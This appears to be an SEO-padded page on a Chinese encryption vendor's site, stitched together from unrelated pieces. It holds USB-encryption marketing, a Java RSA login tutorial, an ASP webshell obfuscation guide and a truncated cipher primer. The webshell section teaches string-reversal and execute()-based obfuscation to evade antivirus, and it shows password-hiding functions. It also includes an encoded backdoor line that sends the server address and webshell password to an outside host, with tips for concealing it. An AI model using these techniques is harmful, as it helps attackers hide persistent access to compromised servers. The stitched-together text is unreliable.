厦门天锐科技股份有限公司

  • 服务热线: +86-0592-2565820
  • 热门新闻
    公司信息
    主营内容

    主营业务: 加密软件、天锐数据泄漏智能防护系统、云文档管理系统、天锐绿盾信息安全管理平台(简称天锐绿盾)、天锐绿盾、文档安全管理、文件加密、信息安全解决方案、图纸加密软件、电子文档加密

    公司简介

    厦门天锐科技股份有限公司(证券代码:838408)是信息安全产品与整体解决方案提供商。公司专注于信息安全领域产品研发,致力于为政府、军工等涉密单位及其它企事业单位提供专业的信息安全产品、顾问咨询和技术服务。...[ 更多 ]

    您现在的位置:首页>>新闻动态>>新闻详情

    u盘安全加密最新参考价格

    发布时间:2017-08-21 06:05:31 文章来源: 天锐股份
    u盘安全加密

    u盘安全加密最新参考价格。众所周知,今年人们对u盘安全加密的需求仍维持乐观态度同时,积极关注电子文档加密对于整个u盘安全加密的四大优势行业带来的影响。自然,人们对于“u盘安全加密最新参考价格”这个话题的兴趣浓厚。为此,天锐股份责任编辑就为您详谈U盘加密的资讯内容。

    我们的目标:打造一流高可靠性文件夹加密软件、走具有自己特色的加密软件之路!文件加锁王2006是一款集文件夹加锁、文件夹隐藏、文件夹伪装,移动盘(U盘)文件夹加密,文件加密和压缩,EXE应用程序文件加密保护,硬盘隐藏和加锁,系统高级设置和优化,IE浏览器修复,系统锁定为一体的专业安全实用加密类软件,操作简单,安全高效,软件具有界面漂亮友好、豪华大方、简单易用、功能强大、兼容性好等特点,是您加密文件或文件夹资料的最佳选择.最新2006软件对文件夹加密达到了国际一流水平,采用了国际公认的RC4,RSA,MD5等多种强大加密算法和微软最新Windows平台系统客户终端加解密方案,独特的硬件加密算法、系统底层VXD(DDK)句柄与操作系统无缝结合使您加密的资料真正达到了无懈可击!软件的主要功能和特色体现:1、最安全快速:加密的文件夹资料无论通过任何第三方软件(如:Nero、Winrar、DOS等)都无法找到,有别于其他加密软件把加密的文件夹移动到回收站里,同时加密的文件夹可以防止复制、拷贝和删除,不影响加密速度,加密10G的资料仍仅需不到1秒.2、最简单易用:软件安装之后,只要在要加密的文件夹上点鼠标右键,选择"加(解)锁"即可实现加密或解密您的文件夹,傻瓜化的操作界面即使对不懂电脑的人也能让您加解密得心应手,进入加密的文件夹操作完毕退出后自动对文件夹进行加密,双保险!3、最实用方便:除了对文件夹的加密和隐藏功能之外,软件还可以实现对文件夹伪装、文件加密和压缩、硬盘加密、IE修复和高级设置等功能,功能实用,安全可靠,同时软件提供在线升级服务,一经注册可获永久免费升级使用.4、最人性化设计:软件采用外观大方豪华的界面让您在操作时不感疲惫.本软件对文件夹加密不采用注册表或文件形式记录加密信息,因此即使是重新安装操作系统,所有加密的资料都可以通过软件的高级界面实现解密,真正实现智能化.5、最难破解:由于最新版本采用了硬件信息动态加密,因此如果资料被锁,想通过有编程经验的人帮您远程解密是不可能的.因此加密的资料在国内真正算是无懈可击国内其他加密软件加密的资料都放在一个固定的位置,只要懂点编程的人,几分钟完全可以找到并恢复加密的资料,加上其他大部分加密软件都放在回收站里,只要用一些优化类软件清理回收站,您的资料有可能化为乌有,极不安全.

    厦门天锐科技股份有限公司专业从事u盘安全加密、U盘加密和文档透明加密系统等产品的研发、生产和销售。天锐股份凭借着高品质的产品,高效的营销队伍,打造出一个完善的服务体系和强势的营销网络,产品畅销全国。

    有这样一个需求,前端登录的用户名密码,密码必需加密,但不可使用MD5,因为后台要检测密码的复杂度,那么在保证安全的前提下将密码传到后台呢,答案就是使用RSA非对称加密算法解决 。

    java代码

    需要依赖 commons-codec
    RSACoder.java

    import org.apache.commons.codec.binary.Base64;import javax.crypto.Cipher;import java.security.*;import java.security.spec.PKCS8EncodedKeySpec;import java.security.spec.X509EncodedKeySpec;import java.util.HashMap;import java.util.Map;/** * Created by lake on . */public class RSACoder {    public static final String KEY_ALGORITHM = "RSA";    public static final String SIGNATURE_ALGORITHM = "MD5withRSA";    private static final String PUBLIC_KEY = "RSAPublicKey";    private static final String PRIVATE_KEY = "RSAPrivateKey";    public static byte[] decryptBASE64(String key) {        return Base64.decodeBase64(key);    }    public static String encryptBASE64(byte[] bytes) {        return Base64.encodeBase64String(bytes);    }    /**     * 用私钥对信息生成数字签名     *     * @param data       加密数据     * @param privateKey 私钥     * @return     * @throws Exception     */    public static String sign(byte[] data, String privateKey) throws Exception {        // 解密由base64编码的私钥        byte[] keyBytes = decryptBASE64(privateKey);        // 构造PKCS8EncodedKeySpec对象        PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes);        // KEY_ALGORITHM 指定的加密算法        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        // 取私钥匙对象        PrivateKey priKey = keyFactory.generatePrivate(pkcs8KeySpec);        // 用私钥对信息生成数字签名        Signature signature = Signature.getInstance(SIGNATURE_ALGORITHM);        signature.initSign(priKey);        signature.update(data);        return encryptBASE64(signature.sign());    }    /**     * 校验数字签名     *     * @param data      加密数据     * @param publicKey 公钥     * @param sign      数字签名     * @return 校验成功返回true 失败返回false     * @throws Exception     */    public static boolean verify(byte[] data, String publicKey, String sign)            throws Exception {        // 解密由base64编码的公钥        byte[] keyBytes = decryptBASE64(publicKey);        // 构造X509EncodedKeySpec对象        X509EncodedKeySpec keySpec = new X509EncodedKeySpec(keyBytes);        // KEY_ALGORITHM 指定的加密算法        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        // 取公钥匙对象        PublicKey pubKey = keyFactory.generatePublic(keySpec);        Signature signature = Signature.getInstance(SIGNATURE_ALGORITHM);        signature.initVerify(pubKey);        signature.update(data);        // 验证签名是否正常        return signature.verify(decryptBASE64(sign));    }    public static byte[] decryptByPrivateKey(byte[] data, String key) throws Exception{        // 对密钥解密        byte[] keyBytes = decryptBASE64(key);        // 取得私钥        PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes);        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        Key privateKey = keyFactory.generatePrivate(pkcs8KeySpec);        // 对数据解密        Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm());        cipher.init(Cipher.DECRYPT_MODE, privateKey);        return cipher.doFinal(data);    }    /**     * 解密<br>     * 用私钥解密     *     * @param data     * @param key     * @return     * @throws Exception     */    public static byte[] decryptByPrivateKey(String data, String key)            throws Exception {        return decryptByPrivateKey(decryptBASE64(data),key);    }    /**     * 解密<br>     * 用公钥解密     *     * @param data     * @param key     * @return     * @throws Exception     */    public static byte[] decryptByPublicKey(byte[] data, String key)            throws Exception {        // 对密钥解密        byte[] keyBytes = decryptBASE64(key);        // 取得公钥        X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(keyBytes);        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        Key publicKey = keyFactory.generatePublic(x509KeySpec);        // 对数据解密        Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm());        cipher.init(Cipher.DECRYPT_MODE, publicKey);        return cipher.doFinal(data);    }    /**     * 加密<br>     * 用公钥加密     *     * @param data     * @param key     * @return     * @throws Exception     */    public static byte[] encryptByPublicKey(String data, String key)            throws Exception {        // 对公钥解密        byte[] keyBytes = decryptBASE64(key);        // 取得公钥        X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(keyBytes);        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        Key publicKey = keyFactory.generatePublic(x509KeySpec);        // 对数据加密        Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm());        cipher.init(Cipher.ENCRYPT_MODE, publicKey);        return cipher.doFinal(data.getBytes());    }    /**     * 加密<br>     * 用私钥加密     *     * @param data     * @param key     * @return     * @throws Exception     */    public static byte[] encryptByPrivateKey(byte[] data, String key)            throws Exception {        // 对密钥解密        byte[] keyBytes = decryptBASE64(key);        // 取得私钥        PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes);        KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);        Key privateKey = keyFactory.generatePrivate(pkcs8KeySpec);        // 对数据加密        Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm());        cipher.init(Cipher.ENCRYPT_MODE, privateKey);        return cipher.doFinal(data);    }    /**     * 取得私钥     *     * @param keyMap     * @return     * @throws Exception     */    public static String getPrivateKey(Map<String, Key> keyMap)            throws Exception {        Key key = (Key) keyMap.get(PRIVATE_KEY);        return encryptBASE64(key.getEncoded());    }    /**     * 取得公钥     *     * @param keyMap     * @return     * @throws Exception     */    public static String getPublicKey(Map<String, Key> keyMap)            throws Exception {        Key key = keyMap.get(PUBLIC_KEY);        return encryptBASE64(key.getEncoded());    }    /**     * 初始化密钥     *     * @return     * @throws Exception     */    public static Map<String, Key> initKey() throws Exception {        KeyPairGenerator keyPairGen = KeyPairGenerator                .getInstance(KEY_ALGORITHM);        keyPairGen.initialize(1024);        KeyPair keyPair = keyPairGen.generateKeyPair();        Map<String, Key> keyMap = new HashMap(2);        keyMap.put(PUBLIC_KEY, keyPair.getPublic());// 公钥        keyMap.put(PRIVATE_KEY, keyPair.getPrivate());// 私钥        return keyMap;    }}

    测试类
    RSACoderTest.java

    import org.junit.Before;import org.junit.Test;import java.security.Key;import java.util.Map;import static org.junit.Assert.assertEquals;import static org.junit.Assert.assertTrue;/** * Created by lake on . */public class RSACoderTest {    private String publicKey;    private String privateKey;    @Before    public void setUp() throws Exception {        Map<String, Key> keyMap = RSACoder.initKey();        publicKey = RSACoder.getPublicKey(keyMap);        privateKey = RSACoder.getPrivateKey(keyMap);        System.err.println("公钥: \n\r" + publicKey);        System.err.println("私钥: \n\r" + privateKey);    }    @Test    public void test() throws Exception {        System.err.println("公钥加密——私钥解密");        String inputStr = "abc";        byte[] encodedData = RSACoder.encryptByPublicKey(inputStr, publicKey);        byte[] decodedData = RSACoder.decryptByPrivateKey(encodedData,                privateKey);        String outputStr = new String(decodedData);        System.err.println("加密前: " + inputStr + "\n\r" + "解密后: " + outputStr);        assertEquals(inputStr, outputStr);    }    @Test    public void testSign() throws Exception {        System.err.println("私钥加密——公钥解密");        String inputStr = "sign";        byte[] data = inputStr.getBytes();        byte[] encodedData = RSACoder.encryptByPrivateKey(data, privateKey);        byte[] decodedData = RSACoder.decryptByPublicKey(encodedData, publicKey);        String outputStr = new String(decodedData);        System.err.println("加密前: " + inputStr + "\n\r" + "解密后: " + outputStr);        assertEquals(inputStr, outputStr);        System.err.println("私钥签名——公钥验证签名");        // 产生签名        String sign = RSACoder.sign(encodedData, privateKey);        System.err.println("签名:" + sign);        // 验证签名        boolean status = RSACoder.verify(encodedData, publicKey, sign);        System.err.println("状态:" + status);        assertTrue(status);    }}

    前端代码

    依赖 jsencrypt 项目

    <script src="bin/jsencrypt.min.js"></script><script type="text/javascript">    var encrypt = new JSEncrypt();    encrypt.setPublicKey('java生成的公钥');    var encrypted = encrypt.encrypt('加密的字符串');</script>

    说明

    前端生成加密的字符串encrypted,传到后台,java使用私钥进行解密即可。

    这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号("),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数
    好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS+HTML写的加密网页
    ---------->JS+HTML加密:
    <html>
    <script script="JavaScript">
    function enCode(theText)
    {
    output=new String;
    TextSize=theText.length;
    for (i = 0; i < TextSize; i++)
    {
    if(theText.charCodeAt(i)=="13")
    {
    output="鹏"+output;
    }
    else if(theText.charCodeAt(i)=="10")
    {
    output+="";
    }
    else
    {
    output=theText.charAt(i)+output;
    }
    }
    return output
    }
    </script>
    <form name=encform />
    <textarea name=box1 rows=16 cols=120></textarea>
    <br />
    <input type=button value="加密到下面文本框" /><br />
    <textarea name=box2 rows=16 cols=120></textarea>
    </form>
    </form>
    </html>
    保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮"加密到下面文本框" ,就可以得到加密后的字符串了。
    上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如:
    Sub RRS(str)
    response.write(str)
    End Sub
    加密后就为
    buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS
    写了加密函数后就要写出对于的解密函数,必须用ASP编写
    dim psEncode,psStr,psI
    Function unCode(psEncode)
    For psI=1 To Len(psEncode)
    If Mid(psEncode,psI,1)<>"鹏" Then
    psNewStr=Mid(psEncode,psI,1)&psNewStr
    Else
    psNewStr=vbCrlf&psNewStr
    End If
    Next
    unCode=psNewStr
    End Function
    这样我们就可以将ASP中的RRS函数用
    execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS"))
    代替掉
    Sub RRS(str)
    response.write(str)
    End Sub
    我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马
    (2)加密解密函数
    直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了
    (3)嵌套加密
    我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa)
    2.密码的加密
    大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。
    Function enPass(psStr,Pos)
    Dim i,psNewStr
    For i = 1 To Len(psStr)
    psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (-Pos)
    Next
    enPass =psNewStr
    End Function

    上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos & (-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa
    然后我们把解密后的部分定义为UserPass
    然后在验证的地方通过
    enPass(request.form("pass"),pn)=UserPass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。
    3.后门的隐藏技术
    怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释
    RRS"<DIV style=""CURSOR:url('"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
    这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是"/",我们把它还原就是
    "&Serveru&"&p="&UserPass&"
    这里我们可以做的更隐蔽些。
    1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&UserPass&"换为&p="&canyou&"
    2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP,我们利用Right函数来取得Sot(13,0) 右边的4个字符,然后代替后门中的HTTP
    二:工具加密
    利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了
    有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了

    (Enigma密码机的插线板 图片

    在现代加密算法中,这种字母对字母的对应早已经被跨字母边界的算法取代。如果把每个byte作为一个字母的话,现代加密算法会把一串二进制数据进行加密,而不是对单个byte进行加密,进一步增加了解密的难度。

    现代密码学里面很多的加密算法是对称的。所谓对称算法,就是加密的秘钥和解密的秘钥是一样的。

    加密算法通常是经过长期研究,保证了加密的有效性,也是公开的。那么区分不同加密手段的,除了算法,就是秘钥了。如果加密算法是对称的,一旦秘钥被敌方知道,所有的加密通信就可以被解开。这就造成了一个难题:比如小明要给小红写情书,为了不让班主任看懂,小明需要把情书加密,但是小红为了看懂情书,就需要秘钥。小明怎么把秘钥给小红呢?写在小纸条上吗?

    版权所有 © 一流健康网2 闽ICP备06024132号 网站地图